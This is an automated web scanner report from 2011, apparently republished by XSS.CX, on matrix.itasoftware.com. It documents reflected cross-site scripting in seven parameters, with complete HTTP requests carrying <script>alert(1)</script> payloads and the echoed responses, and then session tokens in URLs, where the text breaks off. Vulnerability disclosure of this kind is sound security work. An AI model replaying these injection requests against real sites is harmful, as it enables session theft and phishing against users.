CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 26 17:09:52 CDT 2011.


XSS, Cross Site Scripting in matrix.itasoftware.com, CWE-79, CAPEC-86, DORK, GHDB

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (reflected)

1.1. http://matrix.itasoftware.com/geosearch/service/json/getByCode/salesCity [callback parameter]

1.2. http://matrix.itasoftware.com/geosearch/service/json/suggest/citiesAndAirports [callback parameter]

1.3. http://matrix.itasoftware.com/xhr/shop/search [format parameter]

1.4. http://matrix.itasoftware.com/xhr/shop/search [name parameter]

1.5. http://matrix.itasoftware.com/xhr/shop/search [summarizers parameter]

1.6. http://matrix.itasoftware.com/xhr/shop/summarize [format parameter]

1.7. http://matrix.itasoftware.com/xhr/shop/summarize [summarizers parameter]

2. Session token in URL

2.1. http://matrix.itasoftware.com/view/details

2.2. http://matrix.itasoftware.com/view/flights

2.3. http://matrix.itasoftware.com/xhr/shop/summarize

3. Cross-domain Referer leakage

3.1. http://matrix.itasoftware.com/js/sites/matrix/nls/site_en-us.js

3.2. http://matrix.itasoftware.com/view/details

4. Cross-domain script include

4.1. http://matrix.itasoftware.com/

4.2. http://matrix.itasoftware.com/view/details

5. Email addresses disclosed

6. Content type incorrectly stated

6.1. http://matrix.itasoftware.com/favicon.ico

6.2. http://matrix.itasoftware.com/geosearch/service/json/suggest/citiesAndAirports



1. Cross-site scripting (reflected)  next
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://matrix.itasoftware.com/geosearch/service/json/getByCode/salesCity [callback parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /geosearch/service/json/getByCode/salesCity

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 879db<script>alert(1)</script>cb5517fdab7 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /geosearch/service/json/getByCode/salesCity?code=BOS&callback=dojo.io.script.jsonp_dojoIoScript1._jsonpCallback879db<script>alert(1)</script>cb5517fdab7 HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.10.10.1303847753

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:57:22 GMT
Server: Apache-Coyote/1.1
Content-Type: application/json
Content-Length: 257

dojo.io.script.jsonp_dojoIoScript1._jsonpCallback879db<script>alert(1)</script>cb5517fdab7({"timezone":"America/New_York","name":"Boston, MA","salesCityName":"Boston","longitude":-71.005278,"salesCity":"BOS","latitude":42.3644444,"code":"BOS","city":"BOS"})

1.2. http://matrix.itasoftware.com/geosearch/service/json/suggest/citiesAndAirports [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /geosearch/service/json/suggest/citiesAndAirports

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload abc66<script>alert(1)</script>6d35eb2d05e was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /geosearch/service/json/suggest/citiesAndAirports?name=b&callback=dojo.io.script.jsonp_dojoIoScript2._jsonpCallbackabc66<script>alert(1)</script>6d35eb2d05e HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.2.10.1303847824; __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:57:25 GMT
Server: Apache-Coyote/1.1
Content-Type: application/json
Content-Length: 10480

dojo.io.script.jsonp_dojoIoScript2._jsonpCallbackabc66<script>alert(1)</script>6d35eb2d05e([{"timezone":"America/New_York","cityName":"Boston","name":"Boston Logan International, MA (BOS)","score":1077.3821051617047,"longitude":-71.005278,"code":"BOS","latitude":42.3644444,"type":"airport",
...[SNIP]...

1.3. http://matrix.itasoftware.com/xhr/shop/search [format parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /xhr/shop/search

Issue detail

The value of the format request parameter is copied into the HTML document as plain text between tags. The payload 83c7a<script>alert(1)</script>1b026227aec was submitted in the format parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /xhr/shop/search?name=specificDates&summarizers=carrierStopMatrix%2CcurrencyNotice%2CsolutionList%2CitineraryPriceSlider%2CitineraryCarrierList%2CitineraryDepartureTimeRanges%2CitineraryArrivalTimeRanges%2CdurationSliderItinerary%2CitineraryOrigins%2CitineraryDestinations%2CitineraryStopCountList%2CwarningsItinerary&format=JSON83c7a<script>alert(1)</script>1b026227aec&inputs=%7B%22salesCity%22%3A%22BOS%22%2C%22slices%22%3A%5B%7B%22origins%22%3A%5B%22BOS%22%5D%2C%22destinations%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-04-30%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%2C%7B%22destinations%22%3A%5B%22BOS%22%5D%2C%22origins%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-05-18%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%5D%2C%22pax%22%3A%7B%22adults%22%3A1%7D%2C%22cabin%22%3A%22COACH%22%2C%22changeOfAirport%22%3Atrue%2C%22checkAvailability%22%3Atrue%2C%22page%22%3A%7B%22size%22%3A30%7D%2C%22sorts%22%3A%22default%22%7D HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:59:49 GMT
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 132

{}&&{"error":"No enum const class com.itasoftware.bbx.client.response.ResponseFormat.JSON83c7a<script>alert(1)</script>1b026227aec"}

1.4. http://matrix.itasoftware.com/xhr/shop/search [name parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /xhr/shop/search

Issue detail

The value of the name request parameter is copied into the HTML document as plain text between tags. The payload 5d5d4<script>alert(1)</script>92fc2adddae was submitted in the name parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /xhr/shop/search?name=specificDates5d5d4<script>alert(1)</script>92fc2adddae&summarizers=carrierStopMatrix%2CcurrencyNotice%2CsolutionList%2CitineraryPriceSlider%2CitineraryCarrierList%2CitineraryDepartureTimeRanges%2CitineraryArrivalTimeRanges%2CdurationSliderItinerary%2CitineraryOrigins%2CitineraryDestinations%2CitineraryStopCountList%2CwarningsItinerary&format=JSON&inputs=%7B%22salesCity%22%3A%22BOS%22%2C%22slices%22%3A%5B%7B%22origins%22%3A%5B%22BOS%22%5D%2C%22destinations%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-04-30%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%2C%7B%22destinations%22%3A%5B%22BOS%22%5D%2C%22origins%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-05-18%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%5D%2C%22pax%22%3A%7B%22adults%22%3A1%7D%2C%22cabin%22%3A%22COACH%22%2C%22changeOfAirport%22%3Atrue%2C%22checkAvailability%22%3Atrue%2C%22page%22%3A%7B%22size%22%3A30%7D%2C%22sorts%22%3A%22default%22%7D HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:59:48 GMT
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 163

{}&&{"error":{"message":"Unrecognized search name \"specificDates5d5d4<script>alert(1)</script>92fc2adddae\".","resultId":"dRTmERQSGdEwBNSoA0DBeB","type":"input"}}

1.5. http://matrix.itasoftware.com/xhr/shop/search [summarizers parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /xhr/shop/search

Issue detail

The value of the summarizers request parameter is copied into the HTML document as plain text between tags. The payload f3f22<script>alert(1)</script>35448f73c03 was submitted in the summarizers parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /xhr/shop/search?name=specificDates&summarizers=carrierStopMatrix%2CcurrencyNotice%2CsolutionList%2CitineraryPriceSlider%2CitineraryCarrierList%2CitineraryDepartureTimeRanges%2CitineraryArrivalTimeRanges%2CdurationSliderItinerary%2CitineraryOrigins%2CitineraryDestinations%2CitineraryStopCountList%2CwarningsItineraryf3f22<script>alert(1)</script>35448f73c03&format=JSON&inputs=%7B%22salesCity%22%3A%22BOS%22%2C%22slices%22%3A%5B%7B%22origins%22%3A%5B%22BOS%22%5D%2C%22destinations%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-04-30%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%2C%7B%22destinations%22%3A%5B%22BOS%22%5D%2C%22origins%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-05-18%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%5D%2C%22pax%22%3A%7B%22adults%22%3A1%7D%2C%22cabin%22%3A%22COACH%22%2C%22changeOfAirport%22%3Atrue%2C%22checkAvailability%22%3Atrue%2C%22page%22%3A%7B%22size%22%3A30%7D%2C%22sorts%22%3A%22default%22%7D HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:59:48 GMT
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 175

{}&&{"error":{"message":"Unrecognized summarizer nickname \"warningsItineraryf3f22<script>alert(1)</script>35448f73c03\".","resultId":"c8QqCsw1Vgnge3AY10DBeB","type":"input"}}

1.6. http://matrix.itasoftware.com/xhr/shop/summarize [format parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /xhr/shop/summarize

Issue detail

The value of the format request parameter is copied into the HTML document as plain text between tags. The payload 1b93d<script>alert(1)</script>a1c82177a2e was submitted in the format parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /xhr/shop/summarize?solutionSet=05INN3JQ6GZDNnhLMlbFgJ0&session=0100DBeALDQcNVSQ79mWVpW40&summarizers=solutionList&format=JSON1b93d<script>alert(1)</script>a1c82177a2e&inputs=%7B%22salesCity%22%3A%22BOS%22%2C%22slices%22%3A%5B%7B%22origins%22%3A%5B%22BOS%22%5D%2C%22destinations%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-04-30%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%2C%7B%22destinations%22%3A%5B%22BOS%22%5D%2C%22origins%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-05-18%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%5D%2C%22pax%22%3A%7B%22adults%22%3A1%7D%2C%22cabin%22%3A%22COACH%22%2C%22changeOfAirport%22%3Atrue%2C%22checkAvailability%22%3Atrue%2C%22page%22%3A%7B%22size%22%3A30%7D%2C%22sorts%22%3A%22default%22%2C%22filter%22%3A%7B%22maxStopCount%22%3A%7B%22values%22%3A%5B1%5D%7D%2C%22carriers%22%3A%7B%22values%22%3A%5B%22*%22%5D%7D%7D%7D HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:00:33 GMT
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 132

{}&&{"error":"No enum const class com.itasoftware.bbx.client.response.ResponseFormat.JSON1b93d<script>alert(1)</script>a1c82177a2e"}

1.7. http://matrix.itasoftware.com/xhr/shop/summarize [summarizers parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /xhr/shop/summarize

Issue detail

The value of the summarizers request parameter is copied into the HTML document as plain text between tags. The payload 4722f<script>alert(1)</script>1af6d08d9bf was submitted in the summarizers parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /xhr/shop/summarize?solutionSet=05INN3JQ6GZDNnhLMlbFgJ0&session=0100DBeALDQcNVSQ79mWVpW40&summarizers=solutionList4722f<script>alert(1)</script>1af6d08d9bf&format=JSON&inputs=%7B%22salesCity%22%3A%22BOS%22%2C%22slices%22%3A%5B%7B%22origins%22%3A%5B%22BOS%22%5D%2C%22destinations%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-04-30%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%2C%7B%22destinations%22%3A%5B%22BOS%22%5D%2C%22origins%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-05-18%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%5D%2C%22pax%22%3A%7B%22adults%22%3A1%7D%2C%22cabin%22%3A%22COACH%22%2C%22changeOfAirport%22%3Atrue%2C%22checkAvailability%22%3Atrue%2C%22page%22%3A%7B%22size%22%3A30%7D%2C%22sorts%22%3A%22default%22%2C%22filter%22%3A%7B%22maxStopCount%22%3A%7B%22values%22%3A%5B1%5D%7D%2C%22carriers%22%3A%7B%22values%22%3A%5B%22*%22%5D%7D%7D%7D HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:00:34 GMT
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 170

{}&&{"error":{"message":"Unrecognized summarizer nickname \"solutionList4722f<script>alert(1)</script>1af6d08d9bf\".","resultId":"Y7zHM3VwYqoBkIJVo0DBeC","type":"input"}}

2. Session token in URL  previous  next
There are 3 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


2.1. http://matrix.itasoftware.com/view/details  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://matrix.itasoftware.com
Path:   /view/details

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /view/details?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61 HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
